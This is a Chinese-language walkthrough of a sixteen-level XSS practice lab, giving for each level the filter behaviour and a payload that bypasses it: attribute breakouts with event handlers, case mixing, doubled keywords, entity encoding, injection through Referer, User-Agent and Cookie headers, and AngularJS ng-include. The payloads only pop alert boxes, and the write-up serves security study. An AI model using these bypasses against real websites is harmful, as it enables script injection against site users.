XSS靶场练习二
前言
level 1
name变量通过GET
方式传入,直接带入到标签中,没有任何过滤。
payload
1 | <script>alert(1)</script> |
level 2
将第一关的payload带进去,发现输入值被原封不动的输出了。查看页面源代码
发现输入的<、>
被html
编码了。
payload
1 | "><script>alert(1)</script> |
level 3
输入点(INPUT_POINT)有两处,一处在标签间
1 | <h2 align="center">没有找到和INPUT_POINT相关的结果.</h2> |
另一处在标签属性处
1 | <input name="keyword" value="INPUT_POINT"> |
对左右尖括号<,>
被转化成HTML
字符实体(HTML Entity)的情况,想直接构造标签是有难度的(宽字符构造尖括号?)所以从另一处入手。
输入点位于属性内,所以闭合属性并构造新属性,基于事件弹窗。
(然而如果输入点对<,>,’,”都进行了字符实体转换呢)
(构造标签的关键是<,>, 闭合属性的关键是引号)
payload
1 | ' onclick=alert(1)// |
level 4
和 level 3 输出点一致
只是level 3中value=''
,而level 4中的value=""
,所以要闭合value
上面要用'
,此处要用"
payload
1 | " onclick=alert(1)// |
level 5
on
替换为 o_n
,script
替换为 sc_ript
因此不能再考虑用事件触发,也不能用script
标签触发。
payload
此处的用">
截断属性,再用a标签触发
关键在于虽然在h5的内容过滤了,但在属性内未过滤">
。
1 | "> <a href="javascript:%61lert(1)">click me</a> // |
level 6
在上一关限制的基础上,将所有的属性,如src
、href
等等都进行转换。
此处可用大小写混合绕过。
payload
1 | "> <a Href="javascript:alert(/1/)">axxx</a> |
level 7
href
, on
, script
等关键字被删除了。
此处可用双写关键字绕过
payload
1 | " oonninput=alert(1) " |
level 8
属性中双引号被转换成HTML
实体,无法截断属性。
由于script
关键字被过滤,得考虑绕过方式,使用HTML
实体字符绕过HTML16
编码HTML10
编码
payload
1 | javascript:alert(/1/) |
level 9
提交参数中必须要有http关键字
payload
记得替换script
,比如用r
替换r%0d
和%0a
,/
等有时具有替代空格的作用
1 | javascript:alert(1)//http://www.0aa.me //利用注释 |
level 10
可以看出这里keyword
变量依然没戏,被HTML
实体化输出了出来,所以重点放在t_sort
变量上,只过滤了尖括号,然后就直接输出到了标签中,所以这里可以尝试直接在标签中闭合构造事件来弹窗,还得注意一点就是这里的标签使用了type="hidden"
将输入框隐藏了起来,可以手动赋值type
的值来覆盖掉先前的属性来达到显示文本框的目的。
payload
1 | keyword=233&t_sort=" type="" onclick=alert('XSS') // |
level 11
与 level 10 类似,寻找新的注入点。
原来的t_sort
的双引号被过滤了。
这次注入点是在 HTTP Request Header
请求头的 Refer
字段。
payload
1 | " type="text" onmouseover=alert`1` " |
level 12
这一题和上一题类似,只是这里的漏洞点出现在了HTTP
请求头的User-Agent
。
payload
1 | User-Agent: " type="" onclick=alert('XSS') // |
level 13
寻找新的注入点,这次是利用cookie
中的参数注入。
payload
1 | Cookie: user=" type="" onclick=alert('XSS') // |
level 14
看了先知的wp,才知道是图片exif 藏有xss payload。https://xianzhi.aliyun.com/forum/read/1462.html?page=2
level 15
这题考察Angular JS
的ng-include
用法,具体可以参考这篇资料:AngularJS ng-include 指令
ng-include 指令用于包含外部的 HTML 文件,包含的内容将作为指定元素的子节点。ng-include
属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下。所以这里就用来包含其他关的页面来触发弹窗。
发现可以包含第一关的页面
payload
1 | src=‘level1.php?name=<img src=x onerror=alert(1)>‘ |
level 16
这里过滤掉了script标签,可以尝试使用其他标签通过事件来弹窗,但是也过滤了空格。
可以使用如下符号替代空格
payload
1 | keyword=<img%0asrc=x%0aonerror=alert('XSS')> |